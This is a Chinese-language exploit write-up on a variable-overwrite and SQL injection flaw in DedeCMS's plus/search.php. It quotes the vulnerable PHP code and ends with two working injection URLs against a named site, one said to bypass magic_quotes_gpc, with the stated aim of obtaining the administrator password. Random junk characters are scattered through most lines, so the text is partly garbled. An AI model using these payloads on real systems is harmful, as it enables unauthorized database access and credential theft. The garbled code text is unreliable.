微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.+ X$ }8 f }: \. `6 Y
作者: c4rp3nt3r@0x50sec.org
0 G; ]3 J0 e( x* x K; E) uDedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.. a U, X* a! J! w
4 C! _: r* c$ y/ n黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.! e y( q' f. s# z) Q8 [1 \$ ~# D
. L' I: Z6 K) x7 F" P============( N Z& T; @+ E. m. m
! U! P _+ N6 B s3 K( J
: g; S; U/ Z1 V' ?0 @3 DDedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
1 h& \; z0 y1 V6 I$ K2 {! u ! A7 @# @+ h! k' ^; z# b
require_once(dirname(__FILE__).”/../include/common.inc.php”);/ N, Q6 _' t1 [: i6 t7 Z5 m5 t5 H
require_once(DEDEINC.”/arc.searchview.class.php”);
* I2 r3 R) v% G" x + L& @# f' K2 M, f+ {- D. _, V* `
$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;4 l6 \; W5 {. a0 t. F( e
$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;
+ F3 x3 l6 u8 d( ]- s- _9 w$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;
! @4 d/ K) F+ v9 t8 Y- F$ ]8 B2 m$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;0 d: _% p2 N8 l' s* m
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;
# |3 E0 f6 o- d
( }: L, R. N- Z2 n5 W/ Qif(!isset($orderby)) $orderby=”;9 s" _$ Y6 Z/ A9 g
else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);
$ E, q% E, x; F$ Y5 E$ m 2 }4 E3 {$ }% ^% n `* Q
; u. ?9 J- [; g! R' \
if(!isset($searchtype)) $searchtype = ‘titlekeyword’;' Q, f: y2 a+ D/ _6 b9 g% n; O
else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);8 u" ~0 \- n7 V
6 F( N, t" D9 c* uif(!isset($keyword)){
& @' {3 K7 A9 R8 L0 U* t# ? if(!isset($q)) $q = ”;
# n# c; B. T! e+ ?& Q. A$ p% p& { $keyword=$q;( m% i0 Y1 f. ]: C
}
1 ]/ X, K- R8 N3 \8 O7 S* R 2 j( ^+ g6 I: N/ I9 Y7 g
$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));
$ M0 N( \' A8 I6 e& E" b 4 Q4 K8 S; `, q2 r H* J( W5 C
//查找栏目信息/ F$ h' p, J) i3 d
if(empty($typeid))- w1 J U# n# W4 i8 c
{% r E& @+ I7 @, B) _! R+ @
$typenameCacheFile = DEDEDATA.’/cache/typename.inc’;
; a! D9 T, [4 U+ v) W' ] if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )( r/ {) a2 G: u0 e% w3 y' X" }% m9 U
{
; u- b2 O: X$ x7 Q $fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);0 p) `- X* }% ~. V% p6 d
fwrite($fp, “<”.”?php\r\n”);( ?9 P: n( J6 |) p% z3 B
$dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);3 _2 s- S: q v
$dsql->Execute();8 o5 m1 L' w( l9 \1 d! O
while($row = $dsql->GetArray())! t' H6 g( Q+ h5 w! n* U* {+ y* c
{
2 }5 c7 P# Q n& K, |+ ~( N fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);2 W# A5 E6 u [0 A) e3 X* X
}( T/ y+ w0 \9 X) v
fwrite($fp, ‘?’.'>’);# A& q! ^$ P ?+ U/ ` Y2 d7 ^$ Q
fclose($fp);
8 |: x6 }3 `# @' G: L) {( Y* T+ Y9 a }7 F" e1 p1 `: T5 D! Q2 Q0 Q' K4 ?1 ]
//引入栏目缓存并看关键字是否有相关栏目内容
: Q3 ~3 k. W% s! Y+ k, J0 l1 T! A' M require_once($typenameCacheFile);
5 H$ }4 f [+ ?2 i1 u; i5 v//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个
2 g- C! V1 i) ], H7 f//
% @' v2 T" v0 R. }+ @4 D" U: w if(isset($typeArr) && is_array($typeArr)). A) c+ c) a( p! m2 \- z6 [, O* i
{
# z# o8 h/ `' Y6 R) E foreach($typeArr as $id=>$typename), j( D; Q. W) y& w8 v7 Z+ q
{" S% g; E. [( |7 h( l$ E
* ^0 U' y8 h$ ^" S, H8 I! r* B5 z <font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过
0 y9 W. I# a& L& T if($keyword != $keywordn)
9 d; d; f) |2 ^8 [ {. P( U: S& V2 o7 k L+ {
$keyword = $keywordn;
/ {+ a& S+ g4 m# g! M9 z! m A <font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设; `. l! i% n! Z1 N7 M) o m$ R" G+ \. a
break;5 w" }6 T9 W1 ]1 O4 X0 e/ [& G
}
% F7 R7 p" m) P; a. x" p( u }
/ @7 `2 ?1 A! W' f4 \ }+ F3 E6 J9 H8 J; {
}% ]# [8 t4 f B0 I
然后plus/search.php文件下面定义了一个 Search类的对象 .
1 n2 _0 U# A! G在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.
7 p9 L4 e1 Z/ ]: q3 J' s7 c$this->TypeLink = new TypeLink($typeid);5 a+ `7 R' O( E" ^! y, R
- E$ Z# [9 y2 o6 q+ G+ v4 ^6 sTypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.
- W& i4 Y, r u( `- }# T
& M% H Z1 Q0 ?# g Cclass TypeLink9 s& ^6 q0 D. \ X7 D
{
! s) I9 f% l5 V var $typeDir;
+ L: ~+ s& @" L* X. u var $dsql;
* f* `" W+ \+ y- x var $TypeID;& q! K1 n; @/ w& U
var $baseDir;
2 L1 M4 }. g6 P2 _2 |9 y3 P var $modDir;
4 ?, G- `1 v/ O' P var $indexUrl;
7 I" t, v' r+ f# c( r var $indexName;
' S/ H" g! W! R var $TypeInfos;' w4 G. K0 h% ~0 n" O4 P
var $SplitSymbol;: z' V0 I& y7 p7 c3 l+ L/ E- M1 N
var $valuePosition;) ?3 S1 C' B2 w7 k: X2 z
var $valuePositionName;
) X4 t& p2 j0 x ` var $OptionArrayList;//构造函数///////
* S+ m# M' n( \ //php5构造函数
6 U3 t; h) _& f function __construct($typeid)
5 {; u! ~9 [. ~- K2 r I& f {+ r4 E" {( o, C1 r
$this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];2 R0 B1 |7 ~. H) X8 u& E
$this->indexName = $GLOBALS['cfg_indexname'];
* e/ \( l8 j/ x- o $this->baseDir = $GLOBALS['cfg_basedir'];
( E4 g y$ _8 C/ I $this->modDir = $GLOBALS['cfg_templets_dir'];$ X+ n/ ^/ y5 q$ f: e1 e( _& r, N
$this->SplitSymbol = $GLOBALS['cfg_list_symbol'];3 j6 H) q+ F3 P2 K& ?6 N2 R0 x, I
$this->dsql = $GLOBALS['dsql'];* E; A ?: v# C- [( E% d
$this->TypeID = $typeid;% V X( E" L' {
$this->valuePosition = ”;5 m& I4 l: _( Y$ P: n! s
$this->valuePositionName = ”;
& z- u" O7 D1 R/ ? $this->typeDir = ”;! F2 @9 T) J- v) Y" J4 ?
$this->OptionArrayList = ”;- `+ V% d6 r) F1 \
3 f/ `2 g$ X$ V
//载入类目信息
" `) }- f, ]5 l( Z7 q- r! t
6 H/ P& y( u+ R. p' C1 J h <font color=”Red”>$query = “SELECT tp.*,ch.typename as
: {* `" \$ l: Hctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join2 f& V, U8 O& E2 Y" _: h X9 t ?
`#@__channeltype` ch) O6 p8 J2 d+ |& g4 j1 u5 v; Q0 ^
on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿
& O5 t9 R/ ^* M+ r ' M1 U0 N% @/ l, \
if($typeid > 0)
. R# w3 w" ~8 z; \ { H" s- ?" p- B1 {; c
$this->TypeInfos = $this->dsql->GetOne($query);& f9 s, A$ \0 k" r* G
利用代码一 需要 即使magic_quotes_gpc = Off! F8 M+ I, J9 ~( {: q2 I& C) c
y! R. U: ~" F; [$ j+ _' x: }( f. g* h
www.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title
5 X# {% H V: g5 V) e5 |& B, S
( I! s8 e" y5 t3 r+ e) y r4 h这只是其中一个利用代码… Search 类的构造函数再往下
" z* C; b6 [+ f/ t
/ L; x3 W# Z; q- F; |……省略9 u, K: h* Y; Z$ u! B- X2 K
$this->TypeID = $typeid;
( @9 i+ N3 e% v; j+ D \……省略$ D5 O& ] [' _
if($this->TypeID==”0″){; N! }; S1 C' S! Y+ p
$this->ChannelTypeid=1;: ^, ^( u1 T" v6 Q+ |. c0 G8 Y# U
}else{
' I# d0 U2 I, v $row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲8 v& \9 s- j7 o
//现在不鸡肋了吧亲…; r% K) _& _8 N/ Z9 \6 X
$this->ChannelTypeid=$row['channeltype'];
5 W3 q& b7 {- A% y2 e
9 M2 q+ J0 ]* }( ?7 | }
) W( r( x a/ w0 v5 g( v利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.
4 \6 o. Z$ D W, ^/ d9 ~9 \
* D: T; H" Q" p% d7 v7 L/ n. Twww.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title
8 x: p4 C3 H5 I0 v7 N 1 {" u) u, R& d, p U b
如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站
|* ?( Z, `$ E |